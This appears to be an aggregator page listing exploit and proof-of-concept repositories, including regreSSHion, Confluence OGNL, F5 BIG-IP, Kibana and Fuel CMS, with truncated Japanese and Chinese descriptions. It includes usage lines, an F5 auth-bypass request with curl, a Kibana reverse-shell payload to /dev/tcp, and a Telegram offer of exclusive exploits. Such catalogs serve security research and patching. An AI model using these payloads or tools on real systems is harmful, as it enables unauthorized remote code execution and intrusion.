CVE-2024-6387

CVE-2024-6387 regreSSHion regreSSHionエクスプロイトの概念実証Pythonスクリプト。バージョン0.2.1 build POC インストール git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h 使用方法 🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit...

CVE-2018-19276

CVE-2018-19276 OpenMRS 不安全对象反序列化 RCE 来自 https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 不安全的对象反序列化允许在无需登录的情况下执行任意代码。Webservices 模块的 IP 限制无法阻止此攻击。 OpenMRS Platform 2.1.x curl -i -s -k -X $'POST'...

React2Shell

React2Shell – 高度な発見・悪用フレームワーク CVE-2025-55182 および CVE-2025-66478 に影響を受ける Next.jsアプリケーション 向けの高度な React Server Components RSC 脆弱性 スキャナ兼エクスプロイタ です。 このツールは、元のReact2Shellの研究と概念実証を拡張し、自動悪用、WAFバイパス技術、Windowsサポート、マルチスレッドスキャン、運用グレードの信頼性 を導入しています。 🚀 概要 react2shell.py は、React2Shell検出方法論の 高度な進化系...

cve-2022-26134

CVE-2022-26134 by 1vere$k Atlassian Jira エクスプロイトのためのシンプルな PoC です。認証されていないユーザーに対してサーバー上でコード実行を提供します。 CVE-2022-26134 - OGNL インジェクション脆弱性。 Atlassian Confluence 7.18 以前の製品に影響を与えるリモートコード実行脆弱性を悪用する概念実証スクリプト。OGNL インジェクションの脆弱性により、認証されていないユーザーが Confluence Server または Data Center インスタンス上で任意のコードを実行できます。 Paylo...

CVE-2021-22941

使用 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 参考 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

POC-CVE-2026-10134

描述 CVE-2026-10134 的 PoC 漏洞利用代码 使用方法 python3 poc.py -u -name -pwd -c...

bmc_bladelogic

BMC Bladelogic RSCD 远程利用（Linux 和 Windows） 更改密码、列出用户和远程代码执行 利用 BMC BladeLogic RSCD 代理中的漏洞 CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 已发布在 exploit-db BMCrexec.py https://www.exploit-db.com/exploits/43902/ BMCwinUsers.py https://www.exploit-db.com/exploits/43934/ BMCrexec....

pwn-hisilicon-dvr

= HiSilicon DVR 破解 Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract 本报告披露了使用海思 hi3520d 及类似片上系统（SoC）的 DVR/NVR 设备中存在的严重漏洞（含概念验证（PoC）代码）。利用这些漏洞仅通过 Web...

CVE-2025-1302

CVE-2025-1302 ★ CVE-2025-1302 JSONPath-plus RCE PoC ★ https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb 实验环境搭建 docker build -t jsonpath:10.2.0 . docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 localhost:3000 描述 版本低于 10.3.0 的 jsonpath-plus...

CVE-2026-28289

🚨 CVE-2026-28289 — “Mail2Shell” 通过邮件附件绕过实现 FreeScout 零点击未授权 RCE 📖 概述 CVE-2026-28289 ，别名为 Mail2Shell ，是一个影响 FreeScout 的严重零点击远程代码执行（RCE）漏洞。 攻击者可以向 FreeScout 邮箱发送一封特制邮件，从而在无需身份验证、无需用户交互的情况下获得底层服务器的远程 shell 访问权限 。 🧠 漏洞摘要 字段| 值 ---|--- CVE ID| CVE-2026-28289 严重程度| 🔴 严重 CVSS| 10.0（最高） 攻击向量| 远程（邮件）...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

CVE-2020-16898--EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP远程代码执行漏洞 EXP&POC 复现 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 命令： 管理员启动powershell/CMD Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2...

CVE-2024-29847

CVE-2024-29847 Ivanti Endpoint Manager AgentPortal の信頼できないデータのデシリアライゼーションによるリモートコード実行脆弱性 CVE-2024-29847 の PoC この脆弱性の根本原因分析は私のブログでご覧いただけます: https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/ 使用方法 CVE-2024-29847.exe --uselease --installdir "C:\Program...

CVE-2024-51793

WordPress 计算机维修店 = 3.8115 - 未认证任意文件上传 CVE-2024-51793 WordPress 的 CRM 插件 – RepairBuddy 在所有版本（直至并包括 3.8115）中因缺少文件类型验证而存在任意文件上传漏洞。这使得未经认证的攻击者能够在受影响站点的服务器上上传任意文件，从而可能实现远程代码执行。 如需更多 WordPress 漏洞利用及独家漏洞，请通过 Telegram 联系我 @KtN1990。 用法 要运行此漏洞利用程序，你需要安装 Python 3 并准备网站列表 python3 exploit.py -l list.txt -t 10...

CVE-2018-16763-Fuel-CMS-1.4.1-Remote-Code-Execution-PoC

CVE-2018-16763 — Fuel CMS 1.4.1 リモートコード実行 PoC Fuel CMS 1.4.1 における認証なしの RCE 脆弱性。/fuel/pages/select/ エンドポイントの filter パラメータがサニタイズされずに PHP バックエンドの eval 呼び出しに渡され、細工されたペイロードによって任意のコード実行が可能になります。ブラインドインジェクションとは異なり、出力は HTTP レスポンスに直接反映される ため、中間ファイルは不要です。 動作の仕組み 1. 目的のコマンドを指定して PHP の system を呼び出す、特別に細工された...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...

Xstream-1.4.17

Xstream-1.4.17 （以上Xstream Demo环境经本人搭建，漏洞利用环境以JDK1.8u131为准，现支持本地测试和HTTP远程发包） XSTREAM=1.4.17漏洞复现（CVE-2021-39141、CVE-2021-39144、CVE-2021-39150、CVE-2021-39152） 不提供本实验利用POC，仅展示复现利用效果，为避免恶意人员的利用，仅提供官网POC：http://x-stream.github.io/changes.html CVE-2021-39141（RCE）...

CVE-2020-17530

CVE-2020-17530 s2-061 PoC:...

CVE-2022-1388_PoC

F5 BIG-IP RCE 漏洞利用 CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 命令行： $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H $'Authorizatio...

through_the_wire

Through the Wire Through the Wire 是一个针对 CVE-2022-26134 的概念验证利用，该漏洞是一个影响 Atlassian Confluence Server 和 Data Center 版本 = 7.13.6 LTS 及 = 7.18.0 "Latest" 的 OGNL 注入漏洞。最初这是一个在野利用的零日漏洞。 供应商公告 Volexity "在野" 利用分析 Rapid7 分析文章 Through the Wire 实现了两种不同的利用方式。反弹 shell 会调用 bash，因此更容易被检测到。文件读取器则直接在内存中执行，因此不易被检测到...